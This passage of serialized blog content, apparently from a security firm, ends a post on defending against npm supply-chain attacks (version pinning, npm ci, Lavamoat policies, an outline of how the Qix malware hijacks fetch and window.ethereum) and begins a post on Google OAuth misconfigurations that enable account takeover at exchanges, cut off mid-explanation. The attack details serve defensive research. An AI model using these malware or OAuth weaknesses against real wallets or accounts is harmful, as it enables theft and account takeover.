",{"type":21,"tag":66,"props":99439,"children":99441},{"className":99440},[],[99442],{"type":26,"value":99443},"package.json",{"type":21,"tag":22,"props":99445,"children":99446},{},[99447],{"type":26,"value":99448},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":21,"tag":22,"props":99450,"children":99451},{},[99452,99454,99460,99462,99467,99469,99474],{"type":26,"value":99453},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":21,"tag":66,"props":99455,"children":99457},{"className":99456},[],[99458],{"type":26,"value":99459},"npm install",{"type":26,"value":99461},". To pin it, just make sure to remove the caret ",{"type":21,"tag":66,"props":99463,"children":99465},{"className":99464},[],[99466],{"type":26,"value":49389},{"type":26,"value":99468}," symbol before the version in ",{"type":21,"tag":66,"props":99470,"children":99472},{"className":99471},[],[99473],{"type":26,"value":99443},{"type":26,"value":172},{"type":21,"tag":75,"props":99476,"children":99478},{"code":99477,"language":34444,"meta":7,"className":34442,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[99479],{"type":21,"tag":66,"props":99480,"children":99481},{"__ignoreMap":7},[99482,99503,99524,99545],{"type":21,"tag":85,"props":99483,"children":99484},{"class":87,"line":88},[99485,99490,99494,99499],{"type":21,"tag":85,"props":99486,"children":99487},{"style":5026},[99488],{"type":26,"value":99489},"\"@react-native-async-storage/async-storage\"",{"type":21,"tag":85,"props":99491,"children":99492},{"style":114},[99493],{"type":26,"value":15750},{"type":21,"tag":85,"props":99495,"children":99496},{"style":5026},[99497],{"type":26,"value":99498},"\"1.23.1\"",{"type":21,"tag":85,"props":99500,"children":99501},{"style":114},[99502],{"type":26,"value":182},{"type":21,"tag":85,"props":99504,"children":99505},{"class":87,"line":98},[99506,99511,99515,99520],{"type":21,"tag":85,"props":99507,"children":99508},{"style":5026},[99509],{"type":26,"value":99510},"\"@react-native-community/datetimepicker\"",{"type":21,"tag":85,"props":99512,"children":99513},{"style":114},[99514],{"type":26,"value":15750},{"type":21,"tag":85,"props":99516,"children":99517},{"style":5026},[99518],{"type":26,"value":99519},"\"8.3.0\"",{"type":21,"tag":85,"props":99521,"children":99522},{"style":114},[99523],{"type":26,"value":182},{"type":21,"tag":85,"props":99525,"children":99526},{"class":87,"line":151},[99527,99532,99536,99541],{"type":21,"tag":85,"props":99528,"children":99529},{"style":5026},[99530],{"type":26,"value":99531},"\"@react-native-community/netinfo\"",{"type":21,"tag":85,"props":99533,"children":99534},{"style":114},[99535],{"type":26,"value":15750},{"type":21,"tag":85,"props":99537,"children":99538},{"style":5026},[99539],{"type":26,"value":99540},"\"11.4.1\"",{"type":21,"tag":85,"props":99542,"children":99543},{"style":114},[99544],{"type":26,"value":182},{"type":21,"tag":85,"props":99546,"children":99547},{"class":87,"line":160},[99548,99553,99557],{"type":21,"tag":85,"props":99549,"children":99550},{"style":5026},[99551],{"type":26,"value":99552},"\"@react-native-picker/picker\"",{"type":21,"tag":85,"props":99554,"children":99555},{"style":114},[99556],{"type":26,"value":15750},{"type":21,"tag":85,"props":99558,"children":99559},{"style":5026},[99560],{"type":26,"value":99561},"\"2.11.0\"\n",{"type":21,"tag":10022,"props":99563,"children":99565},{"id":99564},"_2-use-npm-ci",[99566,99568],{"type":26,"value":99567},"2. Use ",{"type":21,"tag":66,"props":99569,"children":99571},{"className":99570},[],[99572],{"type":26,"value":99573},"npm ci",{"type":21,"tag":22,"props":99575,"children":99576},{},[99577,99582,99584,99590,99592,99597],{"type":21,"tag":66,"props":99578,"children":99580},{"className":99579},[],[99581],{"type":26,"value":99573},{"type":26,"value":99583}," uses the dependency versions from ",{"type":21,"tag":66,"props":99585,"children":99587},{"className":99586},[],[99588],{"type":26,"value":99589},"package-lock.json",{"type":26,"value":99591}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":21,"tag":66,"props":99593,"children":99595},{"className":99594},[],[99596],{"type":26,"value":99459},{"type":26,"value":99598}," when adding a new package or updating an existing one.",{"type":21,"tag":10022,"props":99600,"children":99602},{"id":99601},"_3-implement-lavamoat",[99603,99605],{"type":26,"value":99604},"3. Implement ",{"type":21,"tag":335,"props":99606,"children":99609},{"href":99607,"rel":99608},"https://github.com/LavaMoat/LavaMoat/tree/main",[339],[99610],{"type":21,"tag":873,"props":99611,"children":99612},{},[99613],{"type":26,"value":99614},"Lavamoat",{"type":21,"tag":22,"props":99616,"children":99617},{},[99618],{"type":26,"value":99619},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":21,"tag":22,"props":99621,"children":99622},{},[99623],{"type":26,"value":99624},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":21,"tag":75,"props":99626,"children":99628},{"code":99627,"language":34444,"meta":7,"className":34442,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[99629],{"type":21,"tag":66,"props":99630,"children":99631},{"__ignoreMap":7},[99632,99644,99656,99667,99683,99690,99697,99709,99720,99740,99756,99763,99774,99794,99810,99817,99824],{"type":21,"tag":85,"props":99633,"children":99634},{"class":87,"line":88},[99635,99640],{"type":21,"tag":85,"props":99636,"children":99637},{"style":5026},[99638],{"type":26,"value":99639},"\"resources\"",{"type":21,"tag":85,"props":99641,"children":99642},{"style":114},[99643],{"type":26,"value":37470},{"type":21,"tag":85,"props":99645,"children":99646},{"class":87,"line":98},[99647,99652],{"type":21,"tag":85,"props":99648,"children":99649},{"style":120},[99650],{"type":26,"value":99651},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":85,"props":99653,"children":99654},{"style":114},[99655],{"type":26,"value":37470},{"type":21,"tag":85,"props":99657,"children":99658},{"class":87,"line":151},[99659,99663],{"type":21,"tag":85,"props":99660,"children":99661},{"style":120},[99662],{"type":26,"value":37478},{"type":21,"tag":85,"props":99664,"children":99665},{"style":114},[99666],{"type":26,"value":37470},{"type":21,"tag":85,"props":99668,"children":99669},{"class":87,"line":160},[99670,99675,99679],{"type":21,"tag":85,"props":99671,"children":99672},{"style":120},[99673],{"type":26,"value":99674},"        \"TextEncoder\"",{"type":21,"tag":85,"props":99676,"children":99677},{"style":114},[99678],{"type":26,"value":15750},{"type":21,"tag":85,"props":99680,"children":99681},{"style":102},[99682],{"type":26,"value":37639},{"type":21,"tag":85,"props":99684,"children":99685},{"class":87,"line":185},[99686],{"type":21,"tag":85,"props":99687,"children":99688},{"style":114},[99689],{"type":26,"value":13081},{"type":21,"tag":85,"props":99691,"children":99692},{"class":87,"line":501},[99693],{"type":21,"tag":85,"props":99694,"children":99695},{"style":114},[99696],{"type":26,"value":25822},{"type":21,"tag":85,"props":99698,"children":99699},{"class":87,"line":697},[99700,99705],{"type":21,"tag":85,"props":99701,"children":99702},{"style":120},[99703],{"type":26,"value":99704},"    \"@ethereumjs/util\"",{"type":21,"tag":85,"props":99706,"children":99707},{"style":114},[99708],{"type":26,"value":37470},{"type":21,"tag":85,"props":99710,"children":99711},{"class":87,"line":706},[99712,99716],{"type":21,"tag":85,"props":99713,"children":99714},{"style":120},[99715],{"type":26,"value":37478},{"type":21,"tag":85,"props":99717,"children":99718},{"style":114},[99719],{"type":26,"value":37470},{"type":21,"tag":85,"props":99721,"children":99722},{"class":87,"line":1100},[99723,99728,99732,99736],{"type":21,"tag":85,"props":99724,"children":99725},{"style":120},[99726],{"type":26,"value":99727},"        \"console.warn\"",{"type":21,"tag":85,"props":99729,"children":99730},{"style":114},[99731],{"type":26,"value":15750},{"type":21,"tag":85,"props":99733,"children":99734},{"style":102},[99735],{"type":26,"value":4760},{"type":21,"tag":85,"props":99737,"children":99738},{"style":114},[99739],{"type":26,"value":182},{"type":21,"tag":85,"props":99741,"children":99742},{"class":87,"line":1339},[99743,99748,99752],{"type":21,"tag":85,"props":99744,"children":99745},{"style":120},[99746],{"type":26,"value":99747},"        \"fetch\"",{"type":21,"tag":85,"props":99749,"children":99750},{"style":114},[99751],{"type":26,"value":15750},{"type":21,"tag":85,"props":99753,"children":99754},{"style":102},[99755],{"type":26,"value":37639},{"type":21,"tag":85,"props":99757,"children":99758},{"class":87,"line":1348},[99759],{"type":21,"tag":85,"props":99760,"children":99761},{"style":114},[99762],{"type":26,"value":37647},{"type":21,"tag":85,"props":99764,"children":99765},{"class":87,"line":1386},[99766,99770],{"type":21,"tag":85,"props":99767,"children":99768},{"style":120},[99769],{"type":26,"value":37655},{"type":21,"tag":85,"props":99771,"children":99772},{"style":114},[99773],{"type":26,"value":37470},{"type":21,"tag":85,"props":99775,"children":99776},{"class":87,"line":1394},[99777,99782,99786,99790],{"type":21,"tag":85,"props":99778,"children":99779},{"style":120},[99780],{"type":26,"value":99781},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":85,"props":99783,"children":99784},{"style":114},[99785],{"type":26,"value":15750},{"type":21,"tag":85,"props":99787,"children":99788},{"style":102},[99789],{"type":26,"value":4760},{"type":21,"tag":85,"props":99791,"children":99792},{"style":114},[99793],{"type":26,"value":182},{"type":21,"tag":85,"props":99795,"children":99796},{"class":87,"line":1402},[99797,99802,99806],{"type":21,"tag":85,"props":99798,"children":99799},{"style":120},[99800],{"type":26,"value":99801},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":21,"tag":85,"props":99803,"children":99804},{"style":114},[99805],{"type":26,"value":15750},{"type":21,"tag":85,"props":99807,"children":99808},{"style":102},[99809],{"type":26,"value":37639},{"type":21,"tag":85,"props":99811,"children":99812},{"class":87,"line":3145},[99813],{"type":21,"tag":85,"props":99814,"children":99815},{"style":114},[99816],{"type":26,"value":13081},{"type":21,"tag":85,"props":99818,"children":99819},{"class":87,"line":3246},[99820],{"type":21,"tag":85,"props":99821,"children":99822},{"style":114},[99823],{"type":26,"value":507},{"type":21,"tag":85,"props":99825,"children":99826},{"class":87,"line":3255},[99827],{"type":21,"tag":85,"props":99828,"children":99829},{"style":114},[99830],{"type":26,"value":2671},{"type":21,"tag":22,"props":99832,"children":99833},{},[99834,99836,99842,99844,99850,99851,99856,99858,99864,99865,99871],{"type":26,"value":99835},"In this example, it restricts the ",{"type":21,"tag":66,"props":99837,"children":99839},{"className":99838},[],[99840],{"type":26,"value":99841},"@ethereumjs/util",{"type":26,"value":99843}," package to use only ",{"type":21,"tag":66,"props":99845,"children":99847},{"className":99846},[],[99848],{"type":26,"value":99849},"console.warn",{"type":26,"value":11408},{"type":21,"tag":66,"props":99852,"children":99854},{"className":99853},[],[99855],{"type":26,"value":34541},{"type":26,"value":99857}," functions, and to include only ",{"type":21,"tag":66,"props":99859,"children":99861},{"className":99860},[],[99862],{"type":26,"value":99863},"@ethereumjs/rlp",{"type":26,"value":11408},{"type":21,"tag":66,"props":99866,"children":99868},{"className":99867},[],[99869],{"type":26,"value":99870},"ethereum-cryptography",{"type":26,"value":99872}," packages.",{"type":21,"tag":22,"props":99874,"children":99875},{},[99876],{"type":26,"value":99877},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":21,"tag":22,"props":99879,"children":99880},{},[99881,99883,99889],{"type":26,"value":99882},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":21,"tag":335,"props":99884,"children":99887},{"href":99885,"rel":99886},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[339],[99888],{"type":26,"value":37825},{"type":26,"value":73},{"type":21,"tag":10022,"props":99891,"children":99893},{"id":99892},"lavamoat-vs-qix-malware",[99894],{"type":26,"value":99895},"Lavamoat vs Qix Malware",{"type":21,"tag":22,"props":99897,"children":99898},{},[99899,99901,99906],{"type":26,"value":99900},"If a dApp were compromised with the Qix malware (say it used ",{"type":21,"tag":66,"props":99902,"children":99904},{"className":99903},[],[99905],{"type":26,"value":97746},{"type":26,"value":99907},"), it would need to perform the following actions to drain funds from a wallet:",{"type":21,"tag":841,"props":99909,"children":99910},{},[99911,99923,99934,99945],{"type":21,"tag":845,"props":99912,"children":99913},{},[99914,99916,99921],{"type":26,"value":99915},"Replace ",{"type":21,"tag":66,"props":99917,"children":99919},{"className":99918},[],[99920],{"type":26,"value":34541},{"type":26,"value":99922}," function to a custom one",{"type":21,"tag":845,"props":99924,"children":99925},{},[99926,99928],{"type":26,"value":99927},"Access ",{"type":21,"tag":66,"props":99929,"children":99931},{"className":99930},[],[99932],{"type":26,"value":99933},"window.ethereum",{"type":21,"tag":845,"props":99935,"children":99936},{},[99937,99939,99944],{"type":26,"value":99938},"Call original ",{"type":21,"tag":66,"props":99940,"children":99942},{"className":99941},[],[99943],{"type":26,"value":34541},{"type":26,"value":38662},{"type":21,"tag":845,"props":99946,"children":99947},{},[99948],{"type":26,"value":99949},"Plus other actions not relevant here",{"type":21,"tag":22,"props":99951,"children":99952},{},[99953,99955,99961],{"type":26,"value":99954},"If the dApp is using Lavamoat with a generated policy for ",{"type":21,"tag":66,"props":99956,"children":99958},{"className":99957},[],[99959],{"type":26,"value":99960},"chalk 5.6.0",{"type":26,"value":99962}," (non-malicious version) it would look like this:",{"type":21,"tag":75,"props":99964,"children":99966},{"code":99965,"language":34444,"meta":7,"className":34442,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[99967],{"type":21,"tag":66,"props":99968,"children":99969},{"__ignoreMap":7},[99970,99982,99993,100013,100029,100036],{"type":21,"tag":85,"props":99971,"children":99972},{"class":87,"line":88},[99973,99978],{"type":21,"tag":85,"props":99974,"children":99975},{"style":5026},[99976],{"type":26,"value":99977},"\"chalk\"",{"type":21,"tag":85,"props":99979,"children":99980},{"style":114},[99981],{"type":26,"value":37470},{"type":21,"tag":85,"props":99983,"children":99984},{"class":87,"line":98},[99985,99989],{"type":21,"tag":85,"props":99986,"children":99987},{"style":120},[99988],{"type":26,"value":37478},{"type":21,"tag":85,"props":99990,"children":99991},{"style":114},[99992],{"type":26,"value":37470},{"type":21,"tag":85,"props":99994,"children":99995},{"class":87,"line":151},[99996,100001,100005,100009],{"type":21,"tag":85,"props":99997,"children":99998},{"style":120},[99999],{"type":26,"value":100000},"        \"navigator.userAgent\"",{"type":21,"tag":85,"props":100002,"children":100003},{"style":114},[100004],{"type":26,"value":15750},{"type":21,"tag":85,"props":100006,"children":100007},{"style":102},[100008],{"type":26,"value":4760},{"type":21,"tag":85,"props":100010,"children":100011},{"style":114},[100012],{"type":26,"value":182},{"type":21,"tag":85,"props":100014,"children":100015},{"class":87,"line":160},[100016,100021,100025],{"type":21,"tag":85,"props":100017,"children":100018},{"style":120},[100019],{"type":26,"value":100020},"        \"navigator.userAgentData\"",{"type":21,"tag":85,"props":100022,"children":100023},{"style":114},[100024],{"type":26,"value":15750},{"type":21,"tag":85,"props":100026,"children":100027},{"style":102},[100028],{"type":26,"value":37639},{"type":21,"tag":85,"props":100030,"children":100031},{"class":87,"line":185},[100032],{"type":21,"tag":85,"props":100033,"children":100034},{"style":114},[100035],{"type":26,"value":13081},{"type":21,"tag":85,"props":100037,"children":100038},{"class":87,"line":501},[100039],{"type":21,"tag":85,"props":100040,"children":100041},{"style":114},[100042],{"type":26,"value":25822},{"type":21,"tag":22,"props":100044,"children":100045},{},[100046,100048,100054],{"type":26,"value":100047},"That means that the chalk dependency can only access these two global attributes from ",{"type":21,"tag":66,"props":100049,"children":100051},{"className":100050},[],[100052],{"type":26,"value":100053},"navigator",{"type":26,"value":73},{"type":21,"tag":22,"props":100056,"children":100057},{},[100058,100060,100066],{"type":26,"value":100059},"When the compromised dApp would execute the malicious payload of ",{"type":21,"tag":66,"props":100061,"children":100063},{"className":100062},[],[100064],{"type":26,"value":100065},"chalk v5.6.1",{"type":26,"value":100067}," it would fail due to insufficient permissions:",{"type":21,"tag":22,"props":100069,"children":100070},{},[100071],{"type":21,"tag":4681,"props":100072,"children":100074},{"alt":51034,"src":100073},"/posts/supply-chain-attcks/error.png",[],{"type":21,"tag":22,"props":100076,"children":100077},{},[100078,100080,100085],{"type":26,"value":100079},"This error shows that the malware failed since it cannot redefine ",{"type":21,"tag":66,"props":100081,"children":100083},{"className":100082},[],[100084],{"type":26,"value":34541},{"type":26,"value":25909},{"type":21,"tag":75,"props":100087,"children":100089},{"code":100088},"TypeError#1: Cannot define property fetch, object is not extensible\n",[100090],{"type":21,"tag":66,"props":100091,"children":100092},{"__ignoreMap":7},[100093],{"type":26,"value":100088},{"type":21,"tag":54,"props":100095,"children":100097},{"id":100096},"lavamoat-in-practice",[100098],{"type":26,"value":100099},"Lavamoat In Practice",{"type":21,"tag":22,"props":100101,"children":100102},{},[100103,100105,100112],{"type":26,"value":100104},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":21,"tag":335,"props":100106,"children":100109},{"href":100107,"rel":100108},"https://osec.io/reports/lavamoat_audit_final.pdf",[339],[100110],{"type":26,"value":100111},"see the audit report",{"type":26,"value":21170},{"type":21,"tag":22,"props":100114,"children":100115},{},[100116],{"type":26,"value":100117},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":21,"tag":54,"props":100119,"children":100120},{"id":76259},[100121],{"type":26,"value":76262},{"type":21,"tag":22,"props":100123,"children":100124},{},[100125],{"type":26,"value":100126},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":21,"tag":22,"props":100128,"children":100129},{},[100130,100132,100137],{"type":26,"value":100131},"Version pinning and ",{"type":21,"tag":66,"props":100133,"children":100135},{"className":100134},[],[100136],{"type":26,"value":99573},{"type":26,"value":100138}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":21,"tag":3632,"props":100140,"children":100141},{},[100142],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":100144},[100145,100148,100149,100158,100159],{"id":97761,"depth":98,"text":97764,"children":100146},[100147],{"id":99396,"depth":151,"text":99399},{"id":99407,"depth":98,"text":99410},{"id":99423,"depth":98,"text":99426,"children":100150},[100151,100153,100155,100157],{"id":99434,"depth":151,"text":100152},"1. Version pinning in package.json",{"id":99564,"depth":151,"text":100154},"2. Use npm ci",{"id":99601,"depth":151,"text":100156},"3. Implement Lavamoat",{"id":99892,"depth":151,"text":99895},{"id":100096,"depth":98,"text":100099},{"id":76259,"depth":98,"text":76262},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":100164,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100165,"description":100166,"date":100167,"author":100168,"image":100169,"isFeatured":16,"onBlogPage":16,"tags":100171,"body":100174,"_type":3642,"_id":102505,"_source":3644,"_file":102506,"_stem":102507,"_extension":3647},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[31646,31645],{"src":100170,"width":97730,"height":14041},"/posts/oauth-misconfigurations/title.png",[100172,100173],"oAuth","exchanges",{"type":18,"children":100175,"toc":102492},[100176,100182,100187,100193,100213,100219,100224,100237,100242,100250,100264,100273,100282,100296,100304,100315,100375,100381,100393,100442,100448,100453,100466,100473,100484,100504,100523,100544,100550,100563,100568,100574,100593,101218,101223,101236,102097,102102,102107,102113,102118,102124,102129,102142,102182,102188,102201,102206,102239,102244,102249,102274,102279,102291,102448,102453,102457,102469,102474,102478,102483,102488],{"type":21,"tag":54,"props":100177,"children":100179},{"id":100178},"exploiting-oauth",[100180],{"type":26,"value":100181},"Exploiting OAuth",{"type":21,"tag":22,"props":100183,"children":100184},{},[100185],{"type":26,"value":100186},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":21,"tag":10022,"props":100188,"children":100190},{"id":100189},"google-authentication-flows",[100191],{"type":26,"value":100192},"Google Authentication Flows",{"type":21,"tag":22,"props":100194,"children":100195},{},[100196,100198,100204,100206,100211],{"type":26,"value":100197},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":21,"tag":66,"props":100199,"children":100201},{"className":100200},[],[100202],{"type":26,"value":100203},"postMessage",{"type":26,"value":100205}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":21,"tag":66,"props":100207,"children":100209},{"className":100208},[],[100210],{"type":26,"value":70225},{"type":26,"value":100212}," to send the token back to the RP.",{"type":21,"tag":19318,"props":100214,"children":100216},{"id":100215},"gsi-new-flow",[100217],{"type":26,"value":100218},"GSI (New Flow)",{"type":21,"tag":22,"props":100220,"children":100221},{},[100222],{"type":26,"value":100223},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":21,"tag":17108,"props":100225,"children":100226},{},[100227,100232],{"type":21,"tag":845,"props":100228,"children":100229},{},[100230],{"type":26,"value":100231},"Using FedCM API",{"type":21,"tag":845,"props":100233,"children":100234},{},[100235],{"type":26,"value":100236},"Without using FedCM API",{"type":21,"tag":22,"props":100238,"children":100239},{},[100240],{"type":26,"value":100241},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":21,"tag":22,"props":100243,"children":100244},{},[100245],{"type":21,"tag":873,"props":100246,"children":100247},{},[100248],{"type":26,"value":100249},"FedCM Method",{"type":21,"tag":22,"props":100251,"children":100252},{},[100253,100255,100262],{"type":26,"value":100254},"The FedCM method basically follows this ",{"type":21,"tag":335,"props":100256,"children":100259},{"href":100257,"rel":100258},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[339],[100260],{"type":26,"value":100261},"user experience",{"type":26,"value":100263},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":21,"tag":22,"props":100265,"children":100266},{},[100267,100269],{"type":26,"value":100268},"The normal flow, clicking the \"sign in\" button:\n",{"type":21,"tag":4681,"props":100270,"children":100272},{"alt":51034,"src":100271},"/posts/oauth-misconfigurations/image1.png",[],{"type":21,"tag":22,"props":100274,"children":100275},{},[100276,100278],{"type":26,"value":100277},"One-Tap popup shown when you open the page:\n",{"type":21,"tag":4681,"props":100279,"children":100281},{"alt":51034,"src":100280},"/posts/oauth-misconfigurations/image2.png",[],{"type":21,"tag":22,"props":100283,"children":100284},{},[100285,100287,100294],{"type":26,"value":100286},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":21,"tag":335,"props":100288,"children":100291},{"href":100289,"rel":100290},"https://github.com/w3c-fedid/FedCM/issues/429",[339],[100292],{"type":26,"value":100293},"FedCM auto-reauthentication",{"type":26,"value":100295},", which has certain preconditions that must be met.",{"type":21,"tag":22,"props":100297,"children":100298},{},[100299],{"type":21,"tag":873,"props":100300,"children":100301},{},[100302],{"type":26,"value":100303},"Non-FedCM Method",{"type":21,"tag":22,"props":100305,"children":100306},{},[100307,100309,100314],{"type":26,"value":100308},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":21,"tag":66,"props":100310,"children":100312},{"className":100311},[],[100313],{"type":26,"value":100203},{"type":26,"value":172},{"type":21,"tag":841,"props":100316,"children":100317},{},[100318,100323,100347,100352,100363],{"type":21,"tag":845,"props":100319,"children":100320},{},[100321],{"type":26,"value":100322},"The user clicks the sign in button",{"type":21,"tag":845,"props":100324,"children":100325},{},[100326,100328,100334,100336,100341,100342],{"type":26,"value":100327},"RP opens a popup/iframe to ",{"type":21,"tag":335,"props":100329,"children":100332},{"href":100330,"rel":100331},"https://accounts.google.com/o/oauth2/v2/auth",[339],[100333],{"type":26,"value":100330},{"type":26,"value":100335}," with some important parameters like ",{"type":21,"tag":66,"props":100337,"children":100339},{"className":100338},[],[100340],{"type":26,"value":70057},{"type":26,"value":11408},{"type":21,"tag":66,"props":100343,"children":100345},{"className":100344},[],[100346],{"type":26,"value":40584},{"type":21,"tag":845,"props":100348,"children":100349},{},[100350],{"type":26,"value":100351},"The user clicks the \"Continue\" button to authorize authentication",{"type":21,"tag":845,"props":100353,"children":100354},{},[100355,100357],{"type":26,"value":100356},"They get redirected to ",{"type":21,"tag":335,"props":100358,"children":100361},{"href":100359,"rel":100360},"https://accounts.google.com/gsi/transform",[339],[100362],{"type":26,"value":100359},{"type":21,"tag":845,"props":100364,"children":100365},{},[100366,100368,100373],{"type":26,"value":100367},"/gsi/transform sends the token back to the RP via ",{"type":21,"tag":66,"props":100369,"children":100371},{"className":100370},[],[100372],{"type":26,"value":100203},{"type":26,"value":100374}," (after some SYN/ACK messages)",{"type":21,"tag":19318,"props":100376,"children":100378},{"id":100377},"oauth-20-old-flow",[100379],{"type":26,"value":100380},"OAuth 2.0 Old Flow",{"type":21,"tag":22,"props":100382,"children":100383},{},[100384,100386,100391],{"type":26,"value":100385},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":21,"tag":66,"props":100387,"children":100389},{"className":100388},[],[100390],{"type":26,"value":70225},{"type":26,"value":100392}," provided in the URL and validated by a whitelist configuration:",{"type":21,"tag":841,"props":100394,"children":100395},{},[100396,100400,100421,100425],{"type":21,"tag":845,"props":100397,"children":100398},{},[100399],{"type":26,"value":100322},{"type":21,"tag":845,"props":100401,"children":100402},{},[100403,100404,100409,100410,100415,100416],{"type":26,"value":100327},{"type":21,"tag":335,"props":100405,"children":100407},{"href":100330,"rel":100406},[339],[100408],{"type":26,"value":100330},{"type":26,"value":100335},{"type":21,"tag":66,"props":100411,"children":100413},{"className":100412},[],[100414],{"type":26,"value":70057},{"type":26,"value":11408},{"type":21,"tag":66,"props":100417,"children":100419},{"className":100418},[],[100420],{"type":26,"value":70225},{"type":21,"tag":845,"props":100422,"children":100423},{},[100424],{"type":26,"value":100351},{"type":21,"tag":845,"props":100426,"children":100427},{},[100428,100429,100434,100436],{"type":26,"value":100356},{"type":21,"tag":66,"props":100430,"children":100432},{"className":100431},[],[100433],{"type":26,"value":70225},{"type":26,"value":100435}," with the token in the query parameters or ",{"type":21,"tag":66,"props":100437,"children":100439},{"className":100438},[],[100440],{"type":26,"value":100441},"location.hash",{"type":21,"tag":19318,"props":100443,"children":100445},{"id":100444},"different-configurations",[100446],{"type":26,"value":100447},"Different Configurations",{"type":21,"tag":22,"props":100449,"children":100450},{},[100451],{"type":26,"value":100452},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":21,"tag":17108,"props":100454,"children":100455},{},[100456,100461],{"type":21,"tag":845,"props":100457,"children":100458},{},[100459],{"type":26,"value":100460},"Authorized origins",{"type":21,"tag":845,"props":100462,"children":100463},{},[100464],{"type":26,"value":100465},"Authorized redirect URIs",{"type":21,"tag":22,"props":100467,"children":100468},{},[100469],{"type":21,"tag":4681,"props":100470,"children":100472},{"alt":51034,"src":100471},"/posts/oauth-misconfigurations/image3.png",[],{"type":21,"tag":22,"props":100474,"children":100475},{},[100476,100478,100483],{"type":26,"value":100477},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":21,"tag":66,"props":100479,"children":100481},{"className":100480},[],[100482],{"type":26,"value":70057},{"type":26,"value":73},{"type":21,"tag":22,"props":100485,"children":100486},{},[100487,100489,100495,100497,100502],{"type":26,"value":100488},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":21,"tag":66,"props":100490,"children":100492},{"className":100491},[],[100493],{"type":26,"value":100494},"/oauth2/v2/auth",{"type":26,"value":100496}," by checking the ",{"type":21,"tag":66,"props":100498,"children":100500},{"className":100499},[],[100501],{"type":26,"value":40584},{"type":26,"value":100503}," query parameter.",{"type":21,"tag":22,"props":100505,"children":100506},{},[100507,100509,100514,100516,100521],{"type":26,"value":100508},"In the old flow, the ",{"type":21,"tag":66,"props":100510,"children":100512},{"className":100511},[],[100513],{"type":26,"value":70225},{"type":26,"value":100515}," parameter passed in the ",{"type":21,"tag":66,"props":100517,"children":100519},{"className":100518},[],[100520],{"type":26,"value":100494},{"type":26,"value":100522}," endpoint is validated against the authorized redirect URIs.",{"type":21,"tag":22,"props":100524,"children":100525},{},[100526,100528,100533,100535,100542],{"type":26,"value":100527},"Note that the new GSI flow can also have a 